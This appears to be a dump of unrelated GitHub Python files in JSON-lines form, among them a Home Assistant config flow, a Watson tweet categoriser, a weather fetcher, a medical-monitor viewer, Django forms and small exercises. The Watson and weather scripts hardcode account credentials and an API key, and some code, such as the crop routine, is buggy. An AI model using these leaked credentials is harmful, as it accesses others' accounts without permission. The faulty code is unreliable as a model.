radii.\n \n Returns:\n\n * estimate : float\n The value estimated for the b-ratio.\n \"\"\"\n\n estimator = BRatioEstimator(radii, orders)\n estimate = estimator.estimate()\n return estimate\n","repo_name":"rcbrgs/tuna","sub_path":"tuna/tools/estimate_b_ratio.py","file_name":"estimate_b_ratio.py","file_ext":"py","file_size_in_byte":3498,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"37855916207","text":"import logging\r\n\r\nimport homeassistant.helpers.config_validation as cv\r\nimport voluptuous as vol\r\nfrom homeassistant import config_entries\r\nfrom homeassistant.const import CONF_HOST\r\n\r\nfrom .const import DOMAIN\r\n\r\n_LOGGER = logging.getLogger(__name__)\r\n\r\nclass DcsysConfigFlow(config_entries.ConfigFlow, domain=DOMAIN):\r\n\r\n def __init__(self):\r\n _LOGGER.info(\"Flow __init__\")\r\n self._hostname = vol.UNDEFINED\r\n\r\n async def async_step_user(self, user_input=None):\r\n _LOGGER.info(\"Flow async_step_user\")\r\n errors = {}\r\n\r\n if self._async_current_entries():\r\n return self.async_abort(reason=\"already_configured\")\r\n\r\n if user_input is not None:\r\n self._hostname = user_input[CONF_HOST]\r\n\r\n return self.async_create_entry(\r\n title=user_input[CONF_HOST],\r\n data=user_input,\r\n )\r\n\r\n return self.async_show_form(\r\n step_id=\"user\",\r\n data_schema=vol.Schema( { vol.Required(CONF_HOST, default=\"dcsys.struyve.local\"): str, } ),\r\n errors=errors,\r\n )\r\n\r\n async def async_step_import(self, user_input):\r\n _LOGGER.info(\"Flow async_step_import\")\r\n \r\n if self._async_current_entries():\r\n return self.async_abort(reason=\"already_configured\")\r\n\r\n hostname = user_input[CONF_HOST]\r\n return self.async_create_entry(\r\n title=f\"{hostname} (from configuration)\",\r\n data={\r\n CONF_HOST: hostname,\r\n },\r\n )","repo_name":"Jorre05/dcsys_ha_component","sub_path":"config_flow.py","file_name":"config_flow.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4245915715","text":"import pandas as pd\nfrom watson_developer_cloud import NaturalLanguageUnderstandingV1\nfrom watson_developer_cloud.natural_language_understanding_v1 import Features, CategoriesOptions\nimport collections\nimport string\nimport os\nimport psutil\n\nprocess = psutil.Process(os.getpid())\n\ntweet_df = pd.read_csv('WhiskDating_tweets.csv')\n\nnatural_language_understanding = NaturalLanguageUnderstandingV1(\n username='4bb0c588-3403-471e-b1fe-63ef24845e5a',\n password='8r2OPyacj0Am',\n version='2018-03-16')\n\ncategoryTweets = collections.defaultdict(list)\ncategoryRelevance = {}\n\nfor tweet in tweet_df['text']:\n try:\n response = natural_language_understanding.analyze(\n text= tweet,\n features=Features(\n categories=CategoriesOptions()))\n #use keywords and create another dictionary that maps categories to a set of keywords\n except:\n continue\n for category in response['categories']:\n\n label = category['label'].replace('/', '', 1)\n index = label.find('/')\n if index != -1: label = label[:index]\n\n categoryTweets[label].append(tweet)\n\nfor category in categoryTweets.keys():\n categoryRelevance[category] = (len(categoryTweets[category]) / len(tweet_df)) * 100\n\ndf = pd.DataFrame([categoryTweets])\ndf1 = pd.DataFrame([categoryRelevance])\ndf.join(df1, lsuffix='tweets', rsuffix='relevance')\n\ndf.to_csv('output.csv')\n\nprint (categoryTweets, categoryRelevance)\nprint(process.memory_info().rss)","repo_name":"Bryantle1028/Pair","sub_path":"backend/analyzer/NL_Analyzer.py","file_name":"NL_Analyzer.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16715475368","text":"# -*- coding: utf-8 -*-\n\nimport requests\nimport json\n\ndef fetchWeather(location):\n result = requests.get(\n 'https://api.seniverse.com/v3/weather/now.json',\n params={\n 'key': 'x4jusskdpoppmnrc',\n 'location': location,\n 'language': 'zh-Hans',\n 'unit': 'c'\n },\n timeout=15)\n\n weather_json = json.loads(result.text)\n\n weather = weather_json['results'][0]['now']['text']\n temperature = weather_json['results'][0]['now']['temperature']\n last_update = weather_json['results'][0]['last_update']\n\n weather_history = \"{0}的天气{1},温度为{2}摄氏度,更新时间为{3}\".format(\n location, weather, temperature, last_update)\n return weather_history\n\nif __name__ == \"__main__\":\n fetchWeather(location)\n","repo_name":"AIHackerTest/elevenera_Py101-004","sub_path":"Chap3/project/weather_fetch.py","file_name":"weather_fetch.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74487140588","text":"import os\nfrom pathlib import Path\nimport sys\n\nimport tkinter as tk\nimport tkinter.filedialog\nimport tkinter.messagebox\n\nfrom PySide6 import QtCharts\nfrom PySide6.QtWidgets import QApplication\nfrom PySide6.QtQml import QQmlApplicationEngine\nfrom PySide6.QtCore import QObject, Slot, QPointF, Signal, QTimer\n\nimport PCT\n\n\nclass Control(QObject):\n ecg1WaveRes = Signal(str)\n ecg2WaveRes = Signal(str)\n raStatusRes = Signal(str, arguments=['getRaStatus'])\n laStatusRes = Signal(str, arguments=['getLaStatus'])\n llStatusRes = Signal(str, arguments=['getLlStatus'])\n vStatusRes = Signal(str, arguments=['getVStatus'])\n heartRateRes = Signal(str, arguments=['getHeartRate'])\n\n tempSen1Res = Signal(str, arguments=['getTempSen1'])\n tempSen2Res = Signal(str, arguments=['getTempSen2'])\n temp1Res = Signal(str, arguments=['getT1'])\n temp2Res = Signal(str, arguments=['getT2'])\n\n respirationWaveRes = Signal(str)\n respirationRateRes = Signal(str, arguments=['getRespirationRate'])\n\n spo2WaveRes = Signal(str)\n fingerInfoRes = Signal(str, arguments=['getFingerInfo'])\n probeInfoRes = Signal(str, arguments=['getProbeInfo'])\n spo2RateRes = Signal(str, arguments=['getSpo2Rate'])\n spo2DataRes = Signal(str, arguments=['getSpo2Data'])\n\n cuffPressureRes = Signal(str, arguments=['getCuffPressure'])\n nbpMethodRes = Signal(str, arguments=['getNbpMethod'])\n pressureRes = Signal(str, arguments=['getPressure'])\n meanPressureRes = Signal(str, arguments=['getMeanPressure'])\n nbpRateRes = Signal(str, arguments=['getNbpRate'])\n\n def __init__(self):\n super().__init__()\n\n self.data_count = 0\n self.timer = QTimer(self)\n self.pct_data = None\n self.path_open = None\n self.path_save = None\n self.data_array = []\n self.count = 0\n self.pct = PCT.PCT()\n\n self.timer.timeout.connect(self.data_process)\n self.ecg1_wave = []\n self.ecg1_wave_x = 0\n self.ecg2_wave = []\n self.ecg2_wave_x = 0\n self.respiration_wave = []\n self.respiration_wave_x = 0\n self.spo2_wave = []\n self.spo2_wave_x = 0\n\n @Slot()\n def join_hex(self, data_high, data_low):\n return (data_high << 8) | data_low\n\n @Slot()\n def about_page(self):\n tkinter.messagebox.showinfo('About', 'Copyright (c) 2022 Arnold Chow, All rights reserved')\n\n @Slot(str)\n def set_ecg1_wave(self):\n self.ecg1WaveRes.emit(\"Triggered\")\n\n @Slot(QtCharts.QXYSeries)\n def update_ecg1_series(self, series):\n series.replace(self.ecg1_wave)\n\n @Slot(str)\n def set_ecg2_wave(self):\n self.ecg2WaveRes.emit(\"Triggered\")\n\n @Slot(QtCharts.QXYSeries)\n def update_ecg2_series(self, series):\n series.replace(self.ecg2_wave)\n\n @Slot(str)\n def set_ra_status(self, arg):\n self.raStatusRes.emit(arg)\n\n @Slot(str)\n def set_la_status(self, arg):\n self.laStatusRes.emit(arg)\n\n @Slot(str)\n def set_ll_status(self, arg):\n self.llStatusRes.emit(arg)\n\n @Slot(str)\n def set_v_status(self, arg):\n self.vStatusRes.emit(arg)\n\n @Slot(str)\n def set_heart_rate(self, arg):\n self.heartRateRes.emit(arg)\n\n @Slot(str)\n def set_respiration_wave(self):\n self.respirationWaveRes.emit(\"Triggered\")\n\n @Slot(QtCharts.QXYSeries)\n def update_respiration_series(self, series):\n series.replace(self.respiration_wave)\n\n @Slot(str)\n def set_respiration_rate(self, arg):\n self.respirationRateRes.emit(arg)\n\n @Slot(str)\n def set_temperature_sensor1(self, arg):\n self.tempSen1Res.emit(arg)\n\n @Slot(str)\n def set_temperature_sensor2(self, arg):\n self.tempSen2Res.emit(arg)\n\n @Slot(str)\n def set_t1(self, arg):\n self.temp1Res.emit(arg)\n\n @Slot(str)\n def set_t2(self, arg):\n self.temp2Res.emit(arg)\n\n @Slot(str)\n def set_spo2_wave(self):\n self.spo2WaveRes.emit(\"Triggered\")\n\n @Slot(QtCharts.QXYSeries)\n def update_spo2_series(self, series):\n series.replace(self.spo2_wave)\n\n @Slot(str)\n def set_finger_info(self, arg):\n self.fingerInfoRes.emit(arg)\n\n @Slot(str)\n def set_probe_info(self, arg):\n self.probeInfoRes.emit(arg)\n\n @Slot(str)\n def set_spo2_rate(self, arg):\n self.spo2RateRes.emit(arg)\n\n @Slot(str)\n def set_spo2_data(self, arg):\n self.spo2DataRes.emit(arg)\n\n @Slot(str)\n def set_cuff_pressure(self, arg):\n self.cuffPressureRes.emit(arg)\n\n @Slot(str)\n def set_nbp_method(self, arg):\n self.nbpMethodRes.emit(arg)\n\n @Slot(str)\n def set_pressure(self, arg):\n self.pressureRes.emit(arg)\n\n @Slot(str)\n def set_mean_pressure(self, arg):\n self.meanPressureRes.emit(arg)\n\n @Slot(str)\n def set_nbp_rate(self, arg):\n self.nbpRateRes.emit(arg)\n\n @Slot()\n def data_process(self):\n arr = self.data_array[self.count]\n\n if arr[0] == 0x10:\n if arr[1] == 0x02:\n data_type = \"DAT_EEG_WAVE\"\n ECG1_wave = self.join_hex(arr[2], arr[3])\n ECG2_wave = self.join_hex(arr[4], arr[5])\n ECG_status = arr[6]\n\n if self.ecg1_wave_x < 1000:\n point = QPointF(self.ecg1_wave_x, ECG1_wave)\n self.ecg1_wave.append(point)\n self.ecg1_wave_x += 1\n else:\n self.ecg1_wave_x = 0\n self.ecg1_wave = []\n self.set_ecg1_wave()\n\n if self.ecg2_wave_x < 1000:\n point = QPointF(self.ecg2_wave_x, ECG2_wave)\n self.ecg2_wave.append(point)\n self.ecg2_wave_x += 1\n else:\n self.ecg2_wave_x = 0\n self.ecg2_wave = []\n self.set_ecg2_wave()\n\n if arr[1] == 0x03:\n data_type = \"DAT_EEG_LEAD\"\n lead_info = arr[2]\n overload_warning = arr[3]\n if lead_info == 0x0:\n self.set_ra_status(\"RA\")\n self.set_la_status(\"LA\")\n self.set_ll_status(\"LL\")\n self.set_v_status(\"V\")\n\n if arr[1] == 0x04:\n data_type = \"DAT_EEG_HR\"\n heart_rate = self.join_hex(arr[2], arr[3])\n\n self.set_heart_rate(str(heart_rate))\n\n if arr[0] == 0x11:\n if arr[1] == 0x02:\n data_type = \"DAT_RESP_WAVE\"\n respiration_wave_data = []\n i = 2\n while i < 7:\n respiration_wave_data.append(arr[i])\n point = QPointF(self.respiration_wave_x, arr[i])\n self.respiration_wave.append(point)\n i += 1\n self.respiration_wave_x += 1\n self.set_respiration_wave()\n\n if self.respiration_wave_x >= 1000:\n self.respiration_wave_x = 0\n self.respiration_wave = []\n\n if arr[1] == 0x03:\n data_type = \"DAT_RESP_RR\"\n respiration_rate = self.join_hex(arr[2], arr[3])\n\n self.set_respiration_rate(str(respiration_rate))\n\n if arr[0] == 0x12:\n if arr[1] == 0x02:\n data_type = \"DAT_TEMP_DATA\"\n temperature_sensor_status = arr[2]\n temperature_channel1 = self.join_hex(arr[3], arr[4]) / 10.0\n temperature_channel2 = self.join_hex(arr[5], arr[6]) / 10.0\n\n if temperature_sensor_status == 0x0:\n self.set_temperature_sensor1(\"T1 Connected\")\n self.set_temperature_sensor2(\"T2 Connected\")\n self.set_t1(str(temperature_channel1))\n self.set_t2(str(temperature_channel2))\n\n if arr[0] == 0x13:\n if arr[1] == 0x02:\n data_type = \"DAT_SPO2_WAVE\"\n o2_measure_status = arr[7]\n o2_wave_data = []\n i = 2\n while i < 7:\n o2_wave_data.append(arr[i])\n point = QPointF(self.spo2_wave_x, arr[i])\n self.spo2_wave.append(point)\n i += 1\n self.spo2_wave_x += 1\n self.set_spo2_wave()\n\n if self.spo2_wave_x >= 1000:\n self.spo2_wave_x = 0\n self.spo2_wave = []\n\n if not (o2_measure_status & 0b10000) and (not (o2_measure_status & 0b10000000)):\n self.set_finger_info(\"Finger Online\")\n self.set_probe_info(\"Probe Online\")\n\n if arr[1] == 0x03:\n data_type = \"DAT_SPO2_DATA\"\n o2_saturate_info = arr[2]\n pulse_rate = self.join_hex(arr[3], arr[4])\n o2_saturate_data = arr[5]\n\n self.set_spo2_rate(str(pulse_rate))\n self.set_spo2_data(str(o2_saturate_data))\n\n if arr[0] == 0x14:\n if arr[1] == 0x02:\n data_type = \"DAT_NBP_CUFPRE\"\n cuff_pressure = self.join_hex(arr[2], arr[3])\n cuff_type_error = arr[4]\n measure_type = arr[5]\n\n self.set_cuff_pressure(str(cuff_pressure))\n if measure_type == 0x01:\n self.set_nbp_method(\"Manual\")\n\n if arr[1] == 0x03:\n data_type = \"DAT_NBP_END\"\n measure_type = arr[2]\n\n if measure_type == 0x01:\n self.set_nbp_method(\"Manual\")\n\n if arr[1] == 0x04:\n data_type = \"DAT_NBP_RSLT1\"\n systolic_pressure = self.join_hex(arr[2], arr[3])\n diastolic_pressure = self.join_hex(arr[4], arr[5])\n mean_pressure = self.join_hex(arr[6], arr[7])\n\n pressure = str(systolic_pressure) + r\"/\" + str(diastolic_pressure)\n self.set_pressure(pressure)\n self.set_mean_pressure(str(mean_pressure))\n\n if arr[1] == 0x05:\n data_type = \"DAT_NBP_RSLT2\"\n pulse_rate = self.join_hex(arr[2], arr[3])\n\n self.set_nbp_rate(str(pulse_rate))\n\n self.count += 1\n if self.count >= self.data_count:\n self.timer.stop()\n self.count = 0\n tk.messagebox.showinfo('Message', \"Data Processing Complete!\")\n\n @Slot()\n def open_file(self):\n self.path_open = tk.filedialog.askopenfilename(filetypes=((\"csv files\", \"*.csv\"),))\n print(self.path_open)\n self.pct_data = self.pct.read_packed_csv(self.path_open)\n try:\n if self.pct_data == [0, 0, 0, 0, 0, 0, 0, 0]:\n self.pct_data = self.pct.read_unpacked_csv(self.path_open)\n if self.pct_data == [0, 0, 0, 0, 0, 0, 0, 0]:\n tkinter.messagebox.showerror('Error', 'This is neither a packed PCT CSV nor'\n 'an unpacked PCT CSV!')\n except ValueError:\n for index, row in self.pct_data.iterrows():\n arr = self.pct_data.loc[index].values\n arr = list(map(int, arr))\n self.data_array.append(arr)\n self.data_count = len(self.pct_data)\n self.timer.start(10)\n\n @Slot()\n def save_file(self):\n self.path_save = tkinter.filedialog.asksaveasfilename(initialfile='saved_data.csv',\n filetypes=[(\"CSV Files\", \".csv\")])\n self.pct.save_unpacked_csv(self.pct_data, self.path_save)\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n\n engine = QQmlApplicationEngine()\n\n root = tk.Tk()\n root.withdraw()\n\n context = engine.rootContext()\n control = Control()\n context.setContextProperty(\"_Control\", control)\n\n engine.load(os.fspath(Path(__file__).resolve().parent / \"./ui/main.qml\"))\n\n if not engine.rootObjects():\n sys.exit(-1)\n sys.exit(app.exec())\n","repo_name":"dotponder/BMETraining","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12119,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"12679243350","text":"from fastapi import FastAPI, File, UploadFile\nfrom main import check_image\nfrom fastapi.middleware.cors import CORSMiddleware\n\napp = FastAPI()\n\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=['*'],\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n@app.get('/')\ndef index():\n return {\"message\": \"This endpoint is useless\"}\n\n@app.post('/image')\nasync def get_image(image: UploadFile = File()):\n return {\"res\": check_image(image.file)}","repo_name":"Adamacy/CatBreedRecognition","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18661214146","text":"import cv2\nimport os\n\nclass imageChunk:\n\tdef __init__(self, totalWhite, x, y):\n\t\tself.totalWhite = totalWhite\n\t\tself.x = x\n\t\tself.y = y\n\n\ndef crop_image(img, width, height, x, y):\n\t\"\"\"Split image into 16x16 chunks, then find the highest light value possible. Get R,G,B and add each of the pixels in the 16x16 area. The shiniest pixels are the cancer cells\"\"\"\n\n\timageY,imageX = img.shape\n\tcropImageChunks = []\n\t\"\"\"First split image into chunks\"\"\"\n\n\t#Chunk size, so image will be split into (chunkSize by chunkSize) chunks\n\tchunkSize = 64\n\n\n\tfor chunkX in range(0,imageX%chunkSize):\n\t\tfor chunkY in range(0,imageY%chunkSize):\n\t\t\tgrayVal = 0\n\n\t\t\t\"\"\"Analyze pixels in chunk\"\"\"\n\t\t\tfor pixelX in range(chunkX*chunkSize, chunkX*chunkSize+chunkSize):\n\t\t\t\tfor pixelY in range(chunkY*chunkSize, chunkY*chunkSize+chunkSize):\n\t\t\t\t\tgrayVal += img[pixelX,pixelY]\n\n\t\t\tchunk = imageChunk(grayVal, chunkX*chunkSize+(chunkSize//2), chunkY*chunkSize+(chunkSize//2))\n\t\t\tcropImageChunks.append(chunk)\n\n\ttempWhite = 0\n\tstartx = x//2-200\n\tstarty = y//2-200\n\n\tfor item in cropImageChunks:\n\t\tif tempWhite < item.totalWhite:\n\t\t\t\ttempWhite = item.totalWhite\n\t\t\t\tstartx = item.x\n\t\t\t\tstarty = item.y\n\n\n\n\treturn img[starty-(height/2):starty+(height/2),startx-(width/2):startx+(width/2)]\n\ndef grayscale_images(filepath):\n\n\t\"\"\"TO DO: CROP IMAGE\"\"\"\n\tdirectory = \"grayScaledImages\"\n\tif not os.path.exists(directory):\n\t\tos.makedirs(directory)\n\n\n\tfileNumber = 0\n\tfor subdir, dirs, files in os.walk(filepath):\n\t\tfor file in files:\n\t\t\t\"\"\"Files in filepath, all of them in all sub directories.\"\"\"\n\t\t\tprint(os.path.join(subdir,file))\n\n\t\t\twhile os.path.isfile('grayScaledImages/gray' + str(fileNumber) + '.png'):\n\t\t\t\tfileNumber+=1\n\n\t\t\timage = cv2.imread(os.path.join(subdir,file))\n\t\t\tgray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n\t\t\ty,x = gray_image.shape\n\n\t\t\tcv2.imwrite('grayScaledImages/gray' + str(fileNumber) + '.png', crop_image(gray_image,400,400,x,y))\n\t\t\tfileNumber += 1\n\ndef opt(argv):\n\topts = {}\n\twhile argv:\n\t\tif argv[0][0] == '-':\n\t\t\topts[argv[0]] = argv[1]\n\t\targv = argv[1:]\n\treturn opts\n\nif __name__ == \"__main__\":\n\tfrom sys import argv\n\targs = opt(argv)\n\tif '-d' in args: \n\t\tgrayscale_images(args['-d'])\n\n","repo_name":"cow9000/Grayscale","sub_path":"Src/grayscale.py","file_name":"grayscale.py","file_ext":"py","file_size_in_byte":2187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43220787710","text":"#!/usr/bin/env python3\nfrom argparse import ArgumentParser\nimport os\nimport sys\nimport json\nimport common\n\ndef myParser():\n parser = ArgumentParser(description='Train a Full Cost-Volume Network.')\n\n parser.add_argument(\n '--experiment_root', default = 'FL_Aug_MEL', type=common.float_or_string,\n help='Location used to store checkpoints and dumped data.')\n\n parser.add_argument(\n '--num_classes', default = 7, type=int,\n help='Number of classes in the output of the network.')\n \n parser.add_argument(\n '--skip_class', default = 'MEL', type=common.float_or_string,\n help='New class label to skip in training.')\n\n parser.add_argument(\n '--dataset_root', default = '/usr/xtmp/hannah/segkeras/nn-isic2019/dataset/', type=common.float_or_string,\n help='Path to the dataset of images for training and testing.')\n \n parser.add_argument(\n '--resume', action='store_true', default=False,\n help='When this flag is provided, all other arguments apart from the '\n 'experiment_root are ignored and a previously saved set of arguments '\n 'is loaded.')\n\n parser.add_argument(\n '--initial_checkpoint', default=None,\n help='Path to the checkpoint file of the pretrained network.')\n\n\n parser.add_argument(\n '--batch_size', default=40, type=common.positive_int,\n help='The number of samples in a batch')\n\n parser.add_argument(\n '--is_train', default=1, type=int,\n help='The train/val/test split of the dataset to use: 1 - training, 0 - testing, 2 - validation.')\n\n parser.add_argument(\n '--loading_threads', default=8, type=common.positive_int,\n help='Number of threads used for parallel loading.')\n\n parser.add_argument(\n '--margin', default='soft', type=common.float_or_string,\n help='What margin to use: a float value for hard-margin, \"soft\" for '\n 'soft-margin, or no margin if \"none\".')\n\n parser.add_argument(\n '--learning_rate', default=0.000001, type=common.positive_float,\n help='The initial value of the learning-rate, before it kicks in.')\n\n parser.add_argument(\n '--train_iterations', default=25000, type=common.positive_int,\n help='Number of training iterations.')\n\n parser.add_argument(\n '--decay_start_iteration', default=15000, type=int,\n help='At which iteration the learning-rate decay should kick-in.'\n 'Set to -1 to disable decay completely.')\n\n parser.add_argument(\n '--checkpoint_frequency', default=1000, type=common.nonnegative_int,\n help='After how many iterations a checkpoint is stored. Set this to 0 to '\n 'disable intermediate storing. This will result in only one final '\n 'checkpoint.')\n\n parser.add_argument(\n '--augment', action='store_true', default=True,\n help='When this flag is provided, data augmentation is performed.')\n\n parser.add_argument(\n '--detailed_logs', action='store_true', default=False,\n help='Store very detailed logs of the training in addition to TensorBoard'\n ' summaries. These are mem-mapped numpy files containing the'\n ' embeddings, losses and FIDs seen in each batch during training.'\n ' Everything can be re-constructed and analyzed that way.')\n\n parser.add_argument(\n '--gpu_device', default='0',\n help='GPU device ID.')\n\n parser.add_argument(\n '--num_gpus', default='1', type=int,\n help='Number of GPU to use.')\n\n parser.add_argument(\n '--heavy_augment', action='store_true', default=False,\n help='GPU device ID.')\n\n parser.add_argument(\n '--load_weights', type=common.float_or_string,\n help='Path to load previously trained weights from experiment folder. If given an empty string, dont load any weights.')\n \n parser.add_argument(\n '--init_epoch', default=0, type=common.nonnegative_int,\n help='The initial epoch # to start training')\n\n parser.add_argument(\n '--num_epochs', default=25, type=common.positive_int,\n help='Total number of epochs for training')\n\n parser.add_argument(\n '--early_stop_patience', default=8, type=common.positive_int,\n help='Total number of epochs for training')\n\n\n parser.add_argument(\n '--loss_type', default='1', type=int,\n help='Type of Loss Function Used.')\n\n parser.add_argument(\n '--sizeH', default='224', type=int,\n help='Height of the input image.')\n\n parser.add_argument(\n '--sizeW', default='224', type=int,\n help='Width of the input image.')\n \n \n # args = parser.parse_args()\n args, unknown = parser.parse_known_args()\n \n # We store all arguments in a json file. This has two advantages:\n # 1. We can always get back and see what exactly that experiment was\n # 2. We can resume an experiment as-is without needing to remember all flags.\n args_file = os.path.join('experiments/',args.experiment_root, 'args.json')\n if args.resume:\n if not os.path.isfile(args_file):\n raise IOError('`args.json` not found in {}'.format(args_file))\n\n print('Loading args from {}.'.format(args_file))\n with open(args_file, 'r') as f:\n args_resumed = json.load(f)\n args_resumed['resume'] = True # This would be overwritten.\n\n # When resuming, we not only want to populate the args object with the\n # values from the file, but we also want to check for some possible\n # conflicts between loaded and given arguments.\n for key, value in args.__dict__.items():\n if key in args_resumed:\n resumed_value = args_resumed[key]\n if resumed_value != value and key != 'init_epoch':\n print('Warning: For the argument `{}` we are using the'\n ' loaded value `{}`. The provided value was `{}`'\n '.'.format(key, resumed_value, value))\n args.__dict__[key] = resumed_value\n else:\n print('Warning: A new argument was added since the last run:'\n ' `{}`. Using the new value: `{}`.'.format(key, value))\n elif args.is_train !=1:\n if not os.path.isfile(args_file):\n raise IOError('`args.json` not found in {}'.format(args_file))\n \n print('Loading args from {}.'.format(args_file))\n with open(args_file, 'r') as f:\n args_resumed = json.load(f)\n args_resumed['resume'] = True # This would be overwritten.\n \n # When resuming, we not only want to populate the args object with the\n # values from the file, but we also want to check for some possible\n # conflicts between loaded and given arguments.\n for key, value in args.__dict__.items():\n if key in args_resumed:\n resumed_value = args_resumed[key]\n if resumed_value != value and key != 'is_train' and key != 'batch_size' and key != 'num_gpus' and key != 'gpu_device' and key != 'load_weights':\n print('Warning: For the argument `{}` we are using the'\n ' loaded value `{}`. The provided value was `{}`'\n '.'.format(key, resumed_value, value))\n args.__dict__[key] = resumed_value\n else:\n print('Warning: A new argument was added since the last run:'\n ' `{}`. Using the new value: `{}`.'.format(key, value))\n elif args.is_train ==1:\n # If the experiment directory exists already, we bail in fear.\n if os.path.exists('experiments/'+args.experiment_root):\n if os.listdir('experiments/'+args.experiment_root) and args.init_epoch != 0:\n print('The directory {} already exists and is not empty. If '\n 'you want to resume training, append --resume to your '\n 'call.'.format('experiments/'+args.experiment_root))\n# exit(1)\n else:\n os.makedirs('experiments/'+args.experiment_root)\n\n # Store the passed arguments for later resuming and grepping in a nice\n # and readable format.\n with open(args_file, 'w') as f:\n json.dump(vars(args), f, ensure_ascii=False, indent=2, sort_keys=True)\n \n \n\n \n # Also show all parameter values at the start, for ease of reading logs.\n print('Training using the following parameters:')\n for key, value in sorted(vars(args).items()):\n print('{}: {}'.format(key, value))\n\n # Check them here, so they are not required when --resume-ing.\n if not args.dataset_root:\n parser.print_help()\n print(\"You did not specify the required `dataset_root` argument!\")\n sys.exit(1)\n\n return args\n","repo_name":"assalaabnk/OOD-in-Dermatology","sub_path":"utils/argument_parser.py","file_name":"argument_parser.py","file_ext":"py","file_size_in_byte":9909,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"37981033559","text":"opcao = \"\"\nsoma = 0\ncont = 1\nmaior = 0\nmenor = 9999999\nwhile opcao != 'N':\n num = int(input(\"Digite um número: \"))\n soma += num\n if num > maior:\n maior = num\n if num < menor:\n menor = num\n cont += 1\n opcao = input(\"Deseja continuar? S ou N \")\n\nprint(f\"Média: {soma / cont}\")\nprint(f\"maior: {maior}\")\nprint(f\"Menor: {menor}\")\n","repo_name":"pedro-toodoo/Atividades","sub_path":"Stack Python/Desafios/Estrutura repetição while/desafio_65.py","file_name":"desafio_65.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4966631212","text":"#User function Template for python3\n\n\nclass Solution:\n def waysToBreakNumber(self, n):\n mod=1000000007\n res=((n+1)%mod * (n+2)%mod) %mod //2\n return res\n # count=0\n # for i in range(n):\n # for j in range(n):\n # for k in range(n):\n # if (i+j+k)==n:\n # count+=1\n # return count\n #code here\n\n\n#{ \n # Driver Code Starts\n#Initial Template for Python 3\n\nif __name__ == '__main__':\n t = int(input())\n for _ in range(t):\n n = int(input())\n \n ob = Solution()\n print(ob.waysToBreakNumber(n))\n \n# } Driver Code Ends","repo_name":"2225Sakshi/50-problem","sub_path":"Break a number - GFG/break-a-number.py","file_name":"break-a-number.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"24207571748","text":"\n__author__=\"SadClown\"\nimport pymongo\nfrom pprint import pprint\nclass MongoMod(object):\n def __init__(self,ip,port,database,table):\n self.client = pymongo.MongoClient(ip,port)\n #創建庫,或使用\n self.db=self.client[database]\n #創表或使用\n self.collection = self.db[table]\n print('吊起')\n def to_mongodb(self,data):\n try:\n self.collection.insert(data)\n except Exception as f:\n pprint('插入失敗',f)","repo_name":"BigChoCho/untitled1","sub_path":"py-re-62/spider_re_107/mongo_demo.py","file_name":"mongo_demo.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33804520724","text":"from django import forms\nfrom .models import Appointment, Doctor, Patient\n\nclass ObjectChoiceField(forms.ModelChoiceField):\n def label_from_instance(self, obj):\n return f\"{obj.id} - {obj.first_name} {obj.last_name}\"\n\nclass PatientForm(forms.ModelForm):\n class Meta:\n model = Patient\n fields = ['first_name', 'last_name', 'illness', 'birthday', 'email', 'phone']\n widgets = {\n 'birthday': forms.DateInput(attrs={'type': 'date'})\n }\n\nclass DoctorForm(forms.ModelForm):\n class Meta:\n model = Doctor\n fields = ['first_name', 'last_name', 'field', 'email', 'phone']\n\nclass AppointmentForm(forms.ModelForm):\n patient = ObjectChoiceField(queryset=Patient.objects.all())\n doctor = ObjectChoiceField(queryset=Doctor.objects.all())\n\n class Meta:\n model = Appointment\n fields = ['date', 'start_time', 'end_time', 'doctor', 'patient']\n widgets = {\n 'date': forms.DateInput(attrs={'type': 'date'}),\n 'start_time': forms.TimeInput(attrs={'type': 'time'}),\n 'end_time': forms.TimeInput(attrs={'type': 'time'}),\n }","repo_name":"Bajmo/HospitalAppointmentManagement","sub_path":"hospital/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21977316963","text":"#\n# @lc app=leetcode.cn id=179 lang=python3\n#\n# [179] 最大数\n#\n# https://leetcode-cn.com/problems/largest-number/description/\n#\n# algorithms\n# Medium (38.22%)\n# Likes: 614\n# Dislikes: 0\n# Total Accepted: 78.3K\n# Total Submissions: 197.2K\n# Testcase Example: '[10,2]'\n#\n# 给定一组非负整数 nums,重新排列每个数的顺序(每个数不可拆分)使之组成一个最大的整数。\n# \n# 注意:输出结果可能非常大,所以你需要返回一个字符串而不是整数。\n# \n# \n# \n# 示例 1:\n# \n# \n# 输入:nums = [10,2]\n# 输出:\"210\"\n# \n# 示例 2:\n# \n# \n# 输入:nums = [3,30,34,5,9]\n# 输出:\"9534330\"\n# \n# \n# 示例 3:\n# \n# \n# 输入:nums = [1]\n# 输出:\"1\"\n# \n# \n# 示例 4:\n# \n# \n# 输入:nums 